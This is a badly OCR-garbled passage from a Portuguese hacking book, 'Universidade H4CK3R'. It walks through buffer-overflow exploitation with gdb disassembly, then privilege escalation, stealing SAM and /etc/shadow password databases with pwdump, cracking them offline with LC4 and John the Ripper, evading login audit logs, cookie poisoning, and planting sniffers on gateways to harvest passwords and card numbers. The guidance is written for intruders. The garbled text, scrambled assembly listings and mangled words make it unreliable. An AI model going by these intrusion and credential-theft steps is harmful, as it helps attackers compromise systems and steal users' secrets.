S que enfiar um bando de N s no buffer no muito til. E se pudssemos
executar algum cdigo de mquina (sim, tem que ser cdigo de mquina, afOlai
o programa est compilado .. . )? Poderamos executar uma pequena rotina car-
regada no prprio buffer, que o nico lugar a que temos acesso. Desviar o
processamento para o buffer no requer prtica nem habilidade: j temos con-
trole sobre o ponteiro de retomo, basta colocar nele o endereo do buffer em
vez da montoeira de A ~ s .
1259 I
I Ataque. defesa e contra-ataque: Invaso
I Universidade H4CK3R I
260 I
Note que este procedimento bem parecido com a injeo de SQL que vimos
no captulo Vulnerabilidades lI. Usamos um campo acessvel externamente pelo
usurio - no caso do SQL, um campo em um formulrio; aqui , uma varivel
solicitando dados - e injetamos nele os comandos pertinentes.
Falamos em cdigo de mquina, no ? Aqui temos o gr.mde pulo-do-gato dos
exploits que se aproveitam do buffer overflow de algum programa mal escri-
to. Ns queremos ganhar um shell no sistema, e isso depende do sistema
operacional. O programa que oferece o shell num Solaris no o mesmo de um
MacOS que no o mesmo no Windows .. . Por outro lado, para chamar esse
shell temos que colocar um cdigo de mquina no buffer, o que quer dizer que
temos que fazer um exploit para cada dupla SO+Hardware existente. Um exploit
para linux em Alpha no o mesmo que um para Linux em i386 (os PCs
comuns). o mesmo sistema operacional, mas no o mesmo processador. Por
outro lado, um PC rodando Windows 2000 vai precisar de um exploit diferen-
te do que um Solaris rodando no mesmssimo PC. o mesmo processador, mas
no o mesmo 50. Mesmo considerando que estamos usando o mesmo progra-
ma bugado (por exemplo, o interpretador de Per! de cada um dos 50s) o exploit
desse programa vai ser diferente em cada combinao SO+HW.
Para fms didticos, vamos nos ater ao PC e ao Unux. Vamos "desassemblar"
nosso programinha com o gdb:
$ gdb idiota
*** mensagens diversas
(gdb)disass main
...
Dump of assembler code for function main:
Ox8048464 <main>:
Ox8048465 <main+l> :
Ox8048467 <main+3>:
Ox804846a <main+6> :
Ox804846f <main+ll> :
Ox8048472 <main+14> :
Ox8048477 <main+19> :
Ox804847c <main+24> :
Ox804847f <main+27>:
Ox8048481 <main+29>:
Ox8048483 <main+31> :
Ox8048484 <main+32> :
Ox8048485 <main+33> :
Ox8048489 <main+37> :
End af assembler dump .
(gdbl
Observe a linha
Ox804846a <main+6>:
push
mov
sub
caU
add
push
caU
add
xoc
jmp
leave
cet
lea
lea
caU
%ebp
%esp,%ebp
$Ox8,%esp
Ox8048430
$Oxfffffff4,%esp
SOx8048520
Ox8048334 <printf>
$OxlO,%esp
%eax,%eax
Ox8048483 <main+31>
OxO(%esi,ll,%esi
OxO(%edi,l) ,%edi
Ox8048430 <funcao_ idiota>
At aque, defesa e contra-ataque: Invaso I
Universidade 3ana
Desenferrujando um pouco nossos conhecimentos de assembler, lembramos
que a funo caU chama uma outrA funo qualquer residente no endereo
especificado. Como em linguagem de mquina no d pra atribuir nomes s
subrotinas, o sistema tem que saber exatamente onde na memria elas esto.
No comeo da listagem, observe que a funo main inicia na posio de mem-
ria Ox8048464 e instruo call chama uma subrotina que se encontra em
Ox8048430. Vamos dar agora. uma olhada na funo funcao_idiota( ):
(gdb) disass funcao_ idiota
Dump of code function funcao_idiota :
Ox8048430 <funcao_ idiota>: push %ebp
Ox8048431 <funcao_idiota+l> :
Ox8048433 <funcao_idiota+3> :
Ox8048436 <funcao_idiota+6> :
Ox8048439 <funcao_idiota+9> :
Ox804843c <funcao_idiota+12> :
Ox804843d <funcao_idiota+13>:
Ox8048442 <funcao_idiota+18> :
Ox8048445 <funcao_idiota+21> :
Ox8048448 <funcao_idiota+24> :
Ox804844b <funcao_idiota+27> :
Ox804844c <funcao_idiota+28> :
Ox8048451 <funcao_idiota+33> :
Ox8048456 <funcao idiota+38> :
Ox8048459 <funcao_idiota+41> :
mov
,ub
add
lea
push
call
add
add
lea
push
push
cal!
add
jmp
Ox804845b <funcao_idiota+43> : nop
Ox804845c <funcao_ idiota+44> :
Ox8048460 <funcao_idiota+48> :
Ox8048461 <funcao_ idiota+49> :
Ox8048462 <funcao_idiota+50> :
End of assembler dump . (gdb)
lea
leave
ret
mov
%esp , %ebp
$Ox 18,%esp
$Oxfffffff4 , %esp
Ox ffff f ff8{%ebp) . %eax
%eax
Ox8048304 <gets>
$Ox l0,%esp
$Oxfffffff8,%esp
Oxfffffff8(%ebp),%eax
%eax
$Ox8048500
Ox8048334 <printf>
$Oxl0,%esp
Ox8048460 <funcao_idiota+48>
OxO(%esi.l) .%esi
%esi,%esi
Olha s! O call da funo main( ) chama exatamente a funcao_idiotaO. Den-
tro da funo idiota, a linha
Ox 8048461 <funcao_idiota+49> :
mostra a instruo assembler de retorno (ret). Essa instruo vai usar o pon-
teiro de relOmo para voltar ao main. Chegamos ao cerne da questo dos exploits
por buffer overflow. Trocando em midos, voc precisa:
1. Descobrir uma varivel do tipo buffer que esteja vulnervel;
2. Verificar, no cdigo fonte ou por tentativa e erro, os endereos onde as
chamadas de funo esto, bem como O endereo que marca o incio do buffer
da varivel;
3. Fabricar um expiai! que insira cdigos de mquina no buffer, contendo
I Ataque. defesa e contra ataque: Invaso
I Universidade H4CK3R I
262 1
instrues pard nos dar um shell, e depois "estufe" a pilha at atingir a posio
do ponteiro de retorno, l colocando o endereo do ircio do buffer.
Um exemplo, em Unix, seria uma rotina que, atravs da funo execve( )
chamasse um shell. execve( ) uma chamada de sistema que simplesmente
permite executar um arquivo binrio externo ao programa. Que beleza! De
dentro de nosso exploit, executamos /bin/sh !1! O shell executado no usurio
do progmma vulnervel. Se for, por exemplo, no Apache, ganharemos um shell
do usurio nobody. O que hackers mais gostam, nessa hom, so programas
vulnerveis rodando com SUJD ... Mas isso outm histria (v l e pesquise!).
No Windows, programas vulnerveis rodando com privilgio System so um
perigo! Acesso total mquina. P'J.ra explorar um buffer overflow, geralmente
faz-se chamadas a funes de Du.s acessveis pela aplicao vulnervel. Dica
pard estudo de execuo arbitrria de comandos no Windows: WlNINI!I'.DLL e
o prprio MFC.DLL. Novamente, mexa-se ...
No vamos nos aprofundar mais, pois no est no escopo do livro enlrar
muito fundo nas entranhas de nenhum assemblcr. Pam comear, um belo texto
para iniciantes em buffer overflows (mixter.void.ru/exploit.htmD. Pam saber
mais, recomendo a leitura dos whitepapers da Fatal 3rror (struck.8m.com!f3),
o excelente texto de Dark Spyrit sobre buffer overflows no Windows
(ommunity.core-sdi.com/-julianoLbufo.htmD e o estudo que comeou tudo
isso: "Smashing the stack for fim and profit", do lendrio Aleph 1, lanado na
edio 49 da ezine Phrak em 1996 e disponvel online no endereo
www.insecure.org/stf/smashstack.txt.
Outro white-papcr digno de nota: como explorar servios avanados com
estouros de pilha, indo muito alm de conseguir um shell.Taeho Oh nos mostrJ.
em postech.edu/-ohham (ou, alternativamente, em ohham.sarang.net/security/
adv.txt) como furJ.r firewalls baseados em filtros de pacotes, abrir sockets (e,
portanto, backdoors) no prprio exploit e libertar-se da priso do chroot
4

Se voc quer realmente conhecer a fundo todos os meandros dos estouros de
pilha (nos quais 9% dos exploits existentes so baseados), recomendo, nova-
mente, pamr a leitura do livro e estudar os sites indicados. Lembre-se, o Google
seu amigo ... Desnecessrio dizer que pr-requisito para isso saber alguns
fundamentos de C e Assembler. Apesar de alguns dizerem que no, as lingua-
gens Pascal (e portanto o Delphy/Kylix tambm) e Basic (Visual Basic,1\lrbo
Basic, Quick Basic, ... ) e mesmo novas Unguagens como C++, C# e Java tambm
padecem do mesmo mal. As formas de explorar os estouros nessas linguagens
so diferentes, mas ainda assim a vulnerabiJidade existe.
4. Cllmaf 13, simpJifiClndo a definio, uma m;mcir.l de cnj:J.ular" uma apliCl"Jo que precise de direitos
de superusurio IMr.l rodlT. Normlllmenfe, inM:J.I:J.se em um direr6rio que possui uml c6pil do
sisfeml de arquivos do sisfem:J. oper.l<,ionlll, no o sisfema de arquivos verdadeiro. Nesse :J.nlhicnfc
(;.lso.:J. apliClo roda com I'seudo-direitos de roof. que s \TiIJem dCnfro do ambicnf<'. :J.pliClo fica (diz
em ser e ro<Ll perfeiramcnfe. Se um h:J.cker iOVldir mquinl por meio de um buffer overl1ow
di :Iplicailo em cllmaf, vai conseguir. /lO mximo, o mesmo (al.ro que :J. al'liCllo usa.
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
Ganhando acesso a outras contas
You know the day deslroys llJe niglJl / Niglu divides lhe d:JY / Tried lO run,
lricd lO Mde / Brcak on tlJrouglJ lO the other side'
At :Igom, invadimos uma nica mquina. Ok, VOCt pode ter invadido diver-
sas, m:IS mesmo que "Qwne dez ou quinze delas ainda no pesquisou como a
rede ao redor funciona. Ou pior: voc conseguiu um shell restrito e no conse-
gue fazer muitas coisas! Encontramos dois exemplos clssicos nas pginas an-
teriores: o servidor Web Apache (que roda em usurio nobody) e aplicacs
rodando em chroot.
Tomemos o Apache: voc .. plicou um exploit nele e conseguiu um shell . S
que, nesse shell, o usurio que est logado o nobody - um usurio especial
criado justamente pard n;lo dar poderes especi .. is a potenciais invasores. Como
o Apache no precisa de poderes especiais pam rodar, apenas acesso a seus
prprios arquivos, tudo corre s mil maravilhas. Um script kid entra por buffer
overflow, tem acesso a um shell do nobody, pode, talvez, sobrescrever uma ou
outr'd pgina HTML - e s! No tem acesso rede, no tem poderes de rOOI ,
no possui sequer um dirctrio /home ...
No Windows (NT e 2(00), apesar de ser mais fre<lente os administradores
instalarem programas servidores nos grupos System ou Administrator, t,101-
bm prtica recomendada de segurana deixar tais programas com o mni-
mo possvel de direitos sobre o sistema.
Nesse cenrio, invadimos a mquina mas no temos, ainda, muito poder so-
bre ela. hora, pois, de tentar conseguir, de .. Iguma forma, acesso a OUlras
contas c, se possvel, ao superusurio.
A primeira forma a que vimos nas pginas anteriores. Todo usuriO tem
acesso a diversos programas em sua mquina normal. Numa mquina Unix
temos diversos scripts, progmmas de todos os tamanhos como fetclunail , MySQL,
Infomlix, Omcle, sendmail , login, telnct , popd, inetd .. . Mais perto do usurio
final , ainda, temos o servidor grfico X Wmdows, os ambientes KDE, Gnome,
COE, WindowMaker (etc etc elc) e aplicativos associados. Temos ainda os pr-
prios configuradores do sistema, como Linuxconf no Linux, Smit no AIX,
Admintool no Solaris, SAM no HpUX ... Cada um deles com maior ou menor
grau de direitos sobre o sistema. qualquer um dos progmmas deste
pargrafo pode levar ao root ou a, pelo menos, um USU;lriO com mais direitos.
Uma llltima dica: leia atentamente as pginas de manual dos comandos su e
sudo e do arquivo /etc/sudoecs. Voc talvez ache interessante. (B h h ... )
No Windows no nada diferellte.IIS, subsistema de segumna e login, Access,
Word, Excel , Powerpoint ( triste, mas j encontmmos servidores com o Office
'l'. -QUiIllOO o (/i3 ckMr6i 3 noire /11 noite C/,..i<k o (/i3/ remei (:orrel; lemei Il/C cscollocr / nJilS 3gor.r
.w {X/r;, o outro lildo ". lJre.1k aI! tllroU8hfto I/le Olha sidcl. 1)0 flIbul1l "l7IC l)oors, oc 1967.
1263 I
1 Ataque. delesa e contra-ataque: Invaso
I Universidade H4CK3R I
264 I
instalado .. .), MS SQL Server, CGIs diversos ... Todos eles podem ser explomdos
para oferecer mais controle. At que se chega em algum usurio ou progmma
que d acesso linha de comandos com os privilgios do grupo System (o
do Window N1).A dica, neste caso, fica por conta de exploits sucessivos
(pam ganhar cada vez mais poder) em din::o a alguma DLL do prprio Kernel.
Se voc leu o captulo sobre Plataformas Wmdows, aprendeu que vrias partes
do kernel rodam em User Mode. Algumas, mesmo assim, rodam com privilgi-
os do grupo System. 2+2 ..
Embom seja efetivo e fcil, depender de exploits pode deix-lo em
sistemas bem configumdos e, principalmente, atualizados. H, entretanto, for-
mas alternativas de ganhar acesso a outras contas. A quebra de senhas , segu-
ramente, a mais usada.
Mtodos para descobrir usurios e senhas
No captulo 7 (Vulnerabilidades I) vimos diversas maneiras de quebrar as
senhas do sistema. Vamos relembrar algumas:
1. Logins fracos: Duplas usurio/senha com palavras facilmente encontrveis
no dicionrio ou pior, que possam ser descobertas por engenharia social - so
brinquedo na rufIo de hackers experientes. listas de palavras e aplicativos que
tenlam combinaes baseadas em dicionrios existem s pencas por a.
2. Brute Force: se os logins no so assim to fracos, h ainda a possibilida-
de de direcionar um ataque que testa as combinaes possveis de
letras, nmeros e smbolos do teclado at encontrar uma ou mais duplas usu-
rio/senha que entrem.
3. Roubo e decifragem dos arquivos de senhas: se o hacker conseguir
obter uma cpia dos arquivos de senhas (SAM data bases no Windows, /etc/
passwd e /etc/shadow no Unix:) est dentro! Basta usar as ferramentas conhe-
cidas pam tal (como o LophtCmck para Windows ou o John the Ripper pard
Unix:) e pronto! Todas as senhas do sistema esto no papo, incluindo as do
Administmdor do Windows e do root no Unix.
Antes de tentar descobrir pares de logins e senhas, vamos ver um exemplo de
ataque por dicionrio e bmte force. Observe uma coisa: j estamos dentro da
mquina, portanto nosso script no vai mais enviar uma solicitao de login
via rede. Podemos usar os procedimentos de login locais do prprio sistema
opemcional pam tentar mudar de usurio. Novamente, um pOuco de engenha-
ria social, se possvel, sempre ajuda.
Apesar de ser possvel USar programas prontos para tal, como internamente
cada caso um caso o melhor caminho fazer um script (em shell no Unix ou
em WSE oU VBA no Windows) que teste seqencialmente toda a sua lista de
palavras em todas as combinaes de logins e senha possveis. Elaborar as
listas com os nomes obtidos por engenharia social uma boa pr,itica.
Um script que fizesse isso deveria ter a seguinte estrutura:
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
1. Pega a prxima palavrd do arquivo de dicionrio;
2. Insere esse nome no progrJ.ma de login do sistema;
3. Pega a primeira palavra do arquivo de dicionrio;
4. Insere como senha no progrJ.ma de login do sistema;
5. Pega a prxima palavra do arquivo de dicionrio;
6. Insere como senha no programa de login do sistema;
7. Volta ao passo 5 at que todas as palavras tenhas sido usadas;
8. Volta ao passo I at que todas as palavras tenhas sido usadas.
fcil implementar isso, por exemplo, com os programas login ou su do
Unix em um sheU script . Mas h um problema: VOC EST SENDO VIGIADO!!!
Todas as tentativas malSllcedidas de login estamo sendo registrddas nos logs
do sistema. Como voc ainda no tem privilgios de root , seria impossvel apa-
gar tais rJ.stros. Esta, portanto, no a melhor maneira de tentar entrar. lil
uma, entretanto, fantasticamente simples e muito mais segura: o roubo do ar-
quivo de senhas e posterior decifmgem dos hashes.
imperdtivo no ser descoberto. Portanto, a metodologia usada pela maioria
dos crdckers obter o arquivo de senhas do sistema e tenlar quebr-Ias, oftline,
em casa. Pode-se usar diversos computadores ligados em clusters - muito
fcil fazer em casa, com Linux, supercomputadores com cinco ou seis 486s e
mesmo 386s obtidos do lixo - e os programas quebmdores de sen.has j cita-
dos - LOphtCrack e John the Ripper. Uma nica mquina rodando Windows
NT com o LOphtCmck j algo considervel: mesmo que demore um ou dois
meses pam conseguir alguma senha usvel, tempo o que o hacker mais lemo
E, trabalhando em casa, o seu trabalho no ser detectvel.
Quebrando senhas no Windows
A sistemtica simples. Deve-se:
1. Roub<lr o arquivo de sen.has e levar prd casa;
2. Passar o arquivo de senhas no programa quebrJ.dor;
3. Testar <IS senhas recuperadas no sistema original pra ver se os usurios
no as alterardm.
Como exemplo prtico, vamos usar um descendente do antigo LOphtCrack, o
LC4 , <ltualmente distribudo pela empresa de segurana @Stake
(www.atstake.com). Criado por hackers como prova de conceito pam demons-
trar as frJgilidades dos hashes do Windows NT, O software chegou at a verso
2.5 ainda com o cdigo fonte aberto. No fmal da dcada de 90 os direitos sobre
o software foram transferidos atual proprietri:l , e o LOphtCrack 2.5 foi
relanado como LC3. O LC4 , portanto, uma evoluo diret;l do LOphtCrack
2. S. O software hoje vendido :I um preo de US$350,00 por licena, mas
possvel fazer download de lima vers.10 de avaliao vlida por IS dias - com <IS
rotinas de brute-force desabilitadas. No site, a @Stake oferece, gratuitamente e
com cdigo fonte, a verso 1.5 do LOphtCrack - aind:l em linha de comando.
1265 1
I Ataque. defesa e contra-ataque: Invaso
I Universidade H4CK3R I
2661
Para o passo 1, devemos de alguma forma "chupar" os hashes dos usurios
contidos no banco de dados SAM, normalmente guardado no registro em
HKEY_LOCAL_MACHlNE\SECURITY\SAM\Domains\Account\Users (achou
que no amos dizer a chave?). Para tamo, podemos usar um utilitrio do pr-
prio LC4, chamado pwdump.
Outro programa que rouba as senhas do SAM o pwdump3. Originalmente
desenvolvido por Jeremy Allison and Todd Sabin, hoje mantido por uma em-
presa, a PoliVec. Embutido em seu produto multiuso de segurana PoliVec
Scanner, o pwdump3 (www.polivec.comlpwdump3.htmO permite que as se-
nhas sejam recuperadas inclusive remotamente, pela rede (incluindo a Internet) .
Uma terceira opo um utilitrio que acompanha o pacote de servidores
5MB pa'd Unix, o Samba (www.samba.org). Junto com o produto est includo
um programinha chamado (olha que original...) pwdump, que extrai o SAl\1
data base e o t.dnsforma cm um arquivo de senhas do Samba (smbpasswd)
vlido. Mais infonnacs sobre ele podem ser obtidas em usl.samba.orglsam
ba/ftp/pwdump/.
Nos trs casos, ge.d-se arquivos de senhas que o LC4 pode interpretar. Nos trs
casos, tambm, precisa-se de privilgios de Administrador para rodar o progra-
ma. Esse obstculo, apesar de complicado, ainda assim contomvel. H divcrs",<;
maneiras de faz-lo: rodando o programa na mquina alvo atravs de um exploit,
rodando o programa em uma mquina de senhas fracas com relaes de confian-
a com a mquina alvo, fazendo invaso tsica no local onde a mquina est ...
Uma vez conseguido o arquivo de senhas, passemos ao passo 2. Desconecte-
se completamente da rede a ser invadida e rode, em casa, o LC4 contra seu
arquivo. H uma farta documentao includa com o prprio produto, portan-
to no vamos detalhlo aqui. A figura a seguir mostra um processo de cracking
em andamento, com algumas senhas j descobertas:
eoo ___ _
-
....... , ..
-
._-
-
"-
-

-
.... ,.. ...
-
-
Ataque, defesa e contra-ataque; Invaso I
Universidade 3ano
Observe: como vimos nos captulos sobreVulnerabiLidades,as conlas no WinNT
so guardadas em 2 hashes: um para o antigo Lan Manager e oulro com a senha
mais forte do NT.A1m do LM Hash ser mais fcil de quebrar, normalmente os
usurios usam a mesma senha localmente (NTLM). O prprio LC4 sabe disso c,
lima vez conseguida a senha LM, interrompe o bnlte force e tenta a mesma
senha no NT. Como voc pode ver na figura, vrias senhas j esto descobertas
c, no exemplo, TODAS so iguais nos dois campos. O usurio shennes)' parece
gostar do seriado StarTreck e o usurio djattan parece no estar muito conten-
te com seu local de trabalho - com um pouco de engenharia social , o hacker
nem precisaria do LC4. O usurio Guest no possui senha (glup!).
A figura .anterior foi retir..ada de um estudo de Dan Smilh, na Universidade da
Carolina do Norte, EUA, c pode ser encontrado em \Vww; tme,edu/-smir1Jdrl
inls187/sr,html . O estudo, aJm de analisar o software, traz dados sobre tempo
para quebrar senhas de todos os tipos, fracas ou teoricamente seguras.
I)or ltimo (passo 3), teste todas as senhas que conseguiu no sistema invadi-
do. possvel que algumas estejam trocadas, mas voc j sabe, pelo menos, o
nome dos usurios vlidos e padro que eles usam paI<' elaborar suas senhas.
IJar exemplo, a conta Administrator mostrada possua uma senha BARNABASQ9.
As chances esto entre 80% e 90% de que, nos prximos meses, ela seja
BARNABAS 10, BARNABAS) 1.. . Acho que o leitor j O mecanismo!
Quebrando senhas no Unix
Voc acha que a sistemtica mudou? Nada disso:
1. Roubar o arquivo de senhas e levar pra casa;
2. Passar o arquivo de senhas no programa quebrador;
3. Testar as senhas recuperaws no sistema original pra ver se o usurio no a alterou.
H diversos programas para Unix que descobrem senhas em arquivos
criptografados. O mais conhecido certamente o John the Ripper. Us-lo to
fcil que d raiva. Uma vez instalado e configurddo, basta "aliment-lo" com o
arquivo de senhas e deixar que ele faa o servio. A sintaxe simples:
S john arquivo_senhas
No passo I temos os mesmo problemas que tivemos com o Wmdows. Como vimos
no captulo P1atafonnas Unix, os Sc,lemas modernos utilizmn o sombre-.unento
de senhas, que consiste em sep.lr.lC o processo de login em dois arquivos:
O /et<ipasswd (que contm infomlaes gerais sobre o usurio, como nome, Iogin,
GlD, UlD, dirctrio Ihome e sheU inicial) c o /etC/shadow (que contm as senhas
criptografadas). Como o /etc/passwd tem que ser legvel por todos, os hashes ficui-
anl desprotegidos se ficassem a. O arquivo /etc/shadow, ao contrrio, legvel e
edilvel apenas e to somente pelo supenlSurio, o root. Se o sistema invadido p0s-
suir sombre:unento de senhas, voc s COrtSL"gtlir roubar o arquivo /etc/shadow se
estiver em um shell rom. Se o sistema invadido no {X>SSuir sombreamento, o
nistrador" j deixou metade do servio pronto para voc .. .
6
6. Mesmo que sisfemil possua PilSS",Ord s/rildowing, V(x: ilinctl tem os nomes rilidos de
1267 1
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
1268 1
Encontrar e aplicar um exploit que lhe d acesso a root a forma mais direta
para conseguir o arquivo de shadow. Qutras formas incluem:
1. Fazer core dumps de programas srnD root que acessem as senhas (como
o FTP, o SSH ou o Telnet);
2. Verificar no arquivo passwd qual dos usurios tm de ad
mistrador - possvel que ele possua programas SUJO em seu Ihome.
Uma vez descoberta a senha, chegamos ao passo 2. Basta rodar o John the
Riper de acordo com o configurado e esperar. No final , uma lista de senhas
vlidas (possivelmente a do root tambm) ser encontrada. O passo 3 trivial:
volte cena do crime e use as senhas. Nada como logar-se como um usurio
autorizado para despistar as auditorias de invaso ...
Ganhando acesso e destruindo a rede
Uma vez dentro da rede, h diversas aes possveis de ser tomadas. Estando em
posse de tuna mquina, pode ser mais fcil invadir outras. Mas nem S de "Ownar"
vive wn cracker. possvel, por exemplo, usar a rede como tr.unpolim para outras
redes maiores. Ou capturar senhas dos usurios em servioes externos - como
senhas de bancos ou nmeros do carto de crdito. Ou ainda desviar o trfego
para que os usurios sejam encaminhados para armadiUla5 ou sites falsos.
Apresentaremos nesta seo apenas descries resumidas desses tipos de
ataques, com indicaes para sites com mais informaes.
War Driving e War Chalking
Uma das mais novas formas de invaso corporativa o War Driving. Hackers
saem pelas nlas da cidade com gambiarras feitas de latas de batata frita, aml
elas e alguns cabos, e capturam conexes de rede wireless que estejam
do". Como as corporaes no costumam criptografar suas conexes internas,
uma conexo wireless desse tipo fornece um acesso ilimitado, similar ao con-
seguido se o invasor entrar andando pela porta da frente e plugar um cabo do
seu laptop em uma tomada de rede da empresa.
O assunto relativamente novo e merece um estudo muito mais profundo do
que o que seria permitido neste livro. Alis, seria necessrio um livro inteiro
sobre isso. Uma excelente fonte de informaes e recursos (tutoriais, equipa-
mentos, esquemas de antena - inclusive feitas em casa) o site
www.wardriving.com. Um esquema simples de antena, construdo com o j
lendrio tubo de batatas fritas Pringles, pode ser encontrado em
www.oreillynet.com/cs/weblog/view/wlg/448.
Hackers europeus foram mais longe e criaram o War Challdng - um alfabeto
especial para marcar, com giz e na calada, os pontos de acesso (posio c
orientao da antena) para uma melhor conexo rede alheia. Saiba mais s0-
bre as tcnicas usadas no site oficial: www.warchalking.org (ou, alternativa
mente, www.warchalking.us). Esse site traz informaes tcnicas, tutoriais, clu-
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
bes e muitos links para outros recursos. O sile www.blackbelljones.com tam-
bm tem diversos recursos. Um artigo sobre o assunto pode ser encontrJdo na
Meca do wireless, o site 802.11 Planet (www.80211-planet.com/columns/
article.phpLl40240 I).
Indo alm do SQL Injection ...
Em nosso segundo estudo sobre vulnerabilidades, vimos maneiras simples de
enganar o scripl da pgina (seja em ASp, PHp, ColdFusion ou algum CGI) e
injctar nela modificacs na qucry SQL associada. Mas h outras maneiras de
brincar com sistemas baseados em Web.
A primeira e mais imediata observar e manipular os dados da prpria URL.
Muitos sistemas on-line carregam infonnacs valiosas em campos presentes de-
pois do endereo HTTP (tarefa para casa: pesquisar sobre os mtodos HTML GET
e POS1). Pentear uma URL grande tentando entender como o sistema funciona o
primeiro passo para entrar cm tal sistema. Bancos, sitcs de compras e mesmo sites
governamentais utilizam a URL como transporte de dados do cliente sem se im-
portar com o fato de serem ironnaes visveis por qualquer lU1l na rede.
Um exemplo notrio disso foram as vulnerabilidades encontradas h alguns
anos no Hotmail (www.hotmail.com). em que os identificadores de sesso,
nomes de usuriO e hashes das senhas estavam presentes na prpria URL. Hoje
o HOlmail j no padece mais desse mal, mas por muitos anos foi uma brecha
extremamente fcil de explorar.
Preste ateno ainda em sites que usam chamadas ODBC e no SQL. Sislemas
100% Microsoft lendem a privilegiar o inseguro protocolo ODBC pam acesso
a bancos de dados Access e SQL-Server.
Alguns links para pesquisa sobre SQL lnjection:
www.securiteam.com/securityreviews/SDPONIP76E.html
online.securityfocus.com/infocus/1644
www.sQlsecurity.com/DesktopDdault.aspx?tabindex=2&tabid=3
www.nextgenss.com/papers/advanced sql injection.pdf
www.spidynamics.com/papers/SOUniectionWhitePaper.pdf
Outro mtodo o cookie poisonlng, uma maneira de torcer a autenticao
via W eb. Quase a totalidade dos sites hoje em dia utilizam-se de cookies para
controlar acesso e sesso. Alterar UserlD e SessionlD em cookies pode ser um
atalho para entrJr em contas de outros usurios.
mais difcil encontrar recursos sobre cookie poisonmg na Internet. Sugeri-
mos os seguintes recursos:
White paper: Hacking web applications using cookie poisoning
(www.allasso.pt/base/docs/lI0422060S4.pdO.
Busca pela palavra chave cookie no Security Focus (www.securityfocus.com).
1269 I
I Ataque. defesa e contra-ataque: Invaso
I Universidade H4CK3R I
12701
Dois softwares que trabalham como Proxy baseados no desktop podem ser
usados para facilitar a manipulao de Cookies (e de cabealhos HTrP tam-
bm!): so eles o Achilles e o BrowseGate. A empresa que produz o Achilles
CDigiZen Security Group www.digizen-security.com) parece ter retirado o
site do ar, mas descries sobre o produto podem ser encontradas no
PacketStorm (packetstormsecurity.nl/fiIedesc/achilles-O-27.zip. htm)) e no
SecuriTeam.com (www.securitclm.com/tools/6LOOR200KA.html).
O BrowseGate, desenvolvido pela NetCPlus (www.nt;teplus.com/
browsegatc.html) outra opo de Proxy Setver que pode ser usada de manei-
ra malfica para torcer cookies e autenticao em sites. H uma anlise dele
em www.webattak.com/gellbrowsegate.shtml.
Para todos os problemas listados, possveis solues podem ser encontradas
no site oficial sobre segurana em sistemas web: www.owasp.org.
Farejando a rede ISniffingl
Outra forma de ganhar acesso a uma rede, depois de O w n a r ~ uma das m-
quinas que a integram, passar a "escutar" o que est trafegando nessa rede.
Os programas que fazem esse tipo de trabalho sujo so chamados de sniffers
ou farejadores.
Um sniffer trabalha na camada 2 de nosso modelo de refert:ncia OSI. Isso
quer dizer qut: (: impossvel fazer um sniffing diretamente via Internet em
uma rede distante. necessrio que o invasor instale e rode o sniffer em uma
mquina pertencente rede local que se quer farejar.
O objetivo mais imediato de um invasor quando instala um sniffer desco-
brir senhas de outros usurios da mesma rede. Deixando a ferramenta "de
campana" por alguns dias, possvel conseguir senhas de dezenas de usuri-
os e centenas de setvios (sites, e-mail, servidores, sistemas ... ). Como h setvi-
os autorizados para alguns usurios em especial e negados aos outros,
interessante, medida que se
v conseguindo senhas, que
instale sniffers em diversas
mquinas e, com isso, consiga
um univt:rso maior delas.
fcil perceber que, nesse
contexto, o invasor vai
"Ownando" aos poucos um gran-
de nlimero de mquinas dentro
da rede remota. Como uma
ferramenta da camada 2 e, por-
tanto, local, o sniffer deve ser
instalado e deixado em ativida-
de sem que o invasor intetve-
H escuta coo'lllrsa
eotre Ae C
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
nha.A fermmenta escutar a rede e gravar tudo o que for de interesse em um
arquivo. Depois de algum tempo (alguns dias ou semanas) o hacker voltar ao
local do crime apenas pam recupemr o arquivo com o tesouro, o qual analisa
r em casa, desconectado.
H uma forma mais perniciosa de usar o sniffer: coloc-lo em um gateway
entre redes. Como vimos nos captulos pertinentes, um gateway um equipa
mento que une duas ou mais redes diferentes de forma a passar pacotes entre
elas quando aplicvel. Um sniffer colocado num gateway pode escutar, ento, o
trfego de todas elas.
Na prtica, como a maioria esmagadora dos gateways ligam sua rede interna
Internet, o que o invasor tem disposio tanto seu conjunto potencial de
senhas e informaes confidenciais quanto os e-mails, senhas, infonnaes e
cartes de crdito que entmm e saem de sua empresa. Imagine, num cenrio
ainda mais tenebroso, que um hacker plantou um sniffer em um gateway que
liga sua empresa ao seu site de comrcio c1etrnico, ou operadora de cartes
de crdito, ou a seu parceiro, ou ao banco. Fatal!
A primeim providncia quando se vai farejar uma rede colocar a interface
de rede de alguma mquina em modo promscuo. Como vimos nos captulos
Redes I e II , quando um pacote IP chega em uma rede, a interface que detm o
pacote pergunta: "qual o MACAddress que contm o endereo IP desse paco-
te? A mquina destino responde com seu MAC Address e o pacote enviado a
ela. Esse o conhecido protocolo ARP.
"Enviado a ela", como escrito no pargrafo anterior, ligeiramente mentiro-
so (ou, como dizia um pastor lutemno que conheci, um "exagero da verda
de). o pacote , na verdade, jogado no barramento e todas as interfaces po-
dem ler. O que ocorre que as interfaces fazem "ouvidos moucos" ao pacote,
caso este no seja direcionado a elas. Apenas a mquina a que realmente se
destina "presta ateno" ao que est trafegando na rede. As outras simplesmen-
te ignoram-no.
aqui que enlra o "modo pronscuo". Uma interface configurada dessa forma
"ouve"TOOOS os pacotes que trafegam na rede, e no apenas os que s::10 destinados
1271 I
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
12721
a ela. Se isso wn facililador para a implementao de ferramentas de monilorao
de rede - coisa que todo adminisU'ador competente deveria usar - tambm possibi-
tita que algum com ms intenes fddlmente escute o que no devia.
P::lm colocar uma interface de rede em modo promscuo, deve-se ter acesso
privilegiado ao sistema operacional - o que equivale a dizer root cm um siste-
ma Unix, Administrator em um sistema WinNT ou Admin em um Novell
Netware. Por isso mesmo, tomar completamente pelo menos uma mquina mi
rede (como vimos anteriornlente) imperativo par.! que possamos fazer uma
posterior. H diversas formas de colocar uma interface de rede em
modo promscuo. H prog.!mas especiais para isso em qualquer plataforma e
mesmo alguns truques no sistema operacional (seja ele Windows, Novell, HP-
UX ... ) so possveis sem o auxilio de qualquer programa externo.
